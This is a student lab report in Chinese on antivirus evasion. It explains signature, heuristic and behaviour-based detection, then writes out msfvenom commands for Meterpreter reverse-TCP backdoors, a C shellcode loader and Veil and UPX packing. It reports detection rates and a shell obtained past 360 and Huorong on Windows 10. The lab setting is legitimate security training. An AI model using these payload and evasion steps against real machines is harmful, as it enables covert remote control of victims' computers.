20191217 EXP3 免杀原理实践
基础问题回答
-
杀软是如何检测出恶意代码的?
基于行为的恶意软件检测:对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,相当于加入了行为监控的启发式。
利用启发式恶意软件检测:将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
基于特征码进行检测:杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。这些特征码一般由一个不大于64字节的字符串组成,且是只有该病毒内才出现的字符串,根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码。 -
免杀是做什么?
免杀就是让安插的后门不被AV软件发现,防止注入的后门在目标机器上被杀毒软件或者其他的防护软件识别并删除.
-
免杀的基本方法有哪些?
改变特征码
加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
进行代码混淆
编译恶意程序时需要开启堆栈保护,降低文件大小
-
开启杀软能绝对防止电脑中恶意代码吗?
不能绝对防止。不同的杀软对不同的后门查杀力度不同,有可能你所中的恶意代码刚好无法被你电脑的杀软识别。
实践内容
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
1.1.检测直接生成的后门exe文件(实验二中的后门程序)
检出率为53/68
1.2.使用Unicode编码一次
在Kali中使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.154.129 LPORT=1217 -f exe > backdoor1.exe
检出率54/70
1.3 编码多次
编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’\x00’不出现在shellcode中,因为shellcode以’\x00’为结束符
检出率为52/70
1.4 利用php格式文件
检出率为10/34
1.5 利用jar文件
检出率为31/60
(二)veil,加壳工具实践
1.安装工具
依次执行以下指令:
sudo apt-get install veil-evasion
cd /usr/share/veil/config
veil
正常安装相关模块
2.使用veil工具
设置生成的文件(名称)
保存路径为/var/lib/veil/output/compiled/20191217veil.exe
检测文件(检出率40/68)
免杀加壳尝试
检出率:39/68
(三)使用C + shellcode编程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.129 LPORT=1217 -f c
编辑c文件
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
检出率:38/68
(四)通过组合应用各种技术实现恶意代码免杀
打开veil,选择Evasion,设置ip及端口,generate,设置生成的文件为backdoorlym.exe
然后使用 upx 对生成的 backdoorlym.exe 进行加壳获得backdoorlym_upx.exe
用杀软测试(已验收)
用360进行木马云查杀,显示安全。
用火绒,也没有杀出来
在kali进入msfconsole并设置监听参数,run,在win10下运行backdoorlym_upx.exe,成功getshell,ls成功。
4.附加题 用另一电脑实测,在杀软开启的情况下,可
运行并回连成功,注明电脑的杀软名称与版本
已实现如下,成功躲避了杀软检测并获取win10shell。
在kali进入msfconsole并设置监听参数,run,在win10下运行backdoorlym_upx.exe,成功getshell,ls成功。
电脑杀软版本和名称:
360:12.0.0.2004
火绒 5.0
火绒5.0
更多推荐
EXP3 免杀原理与实践
发布评论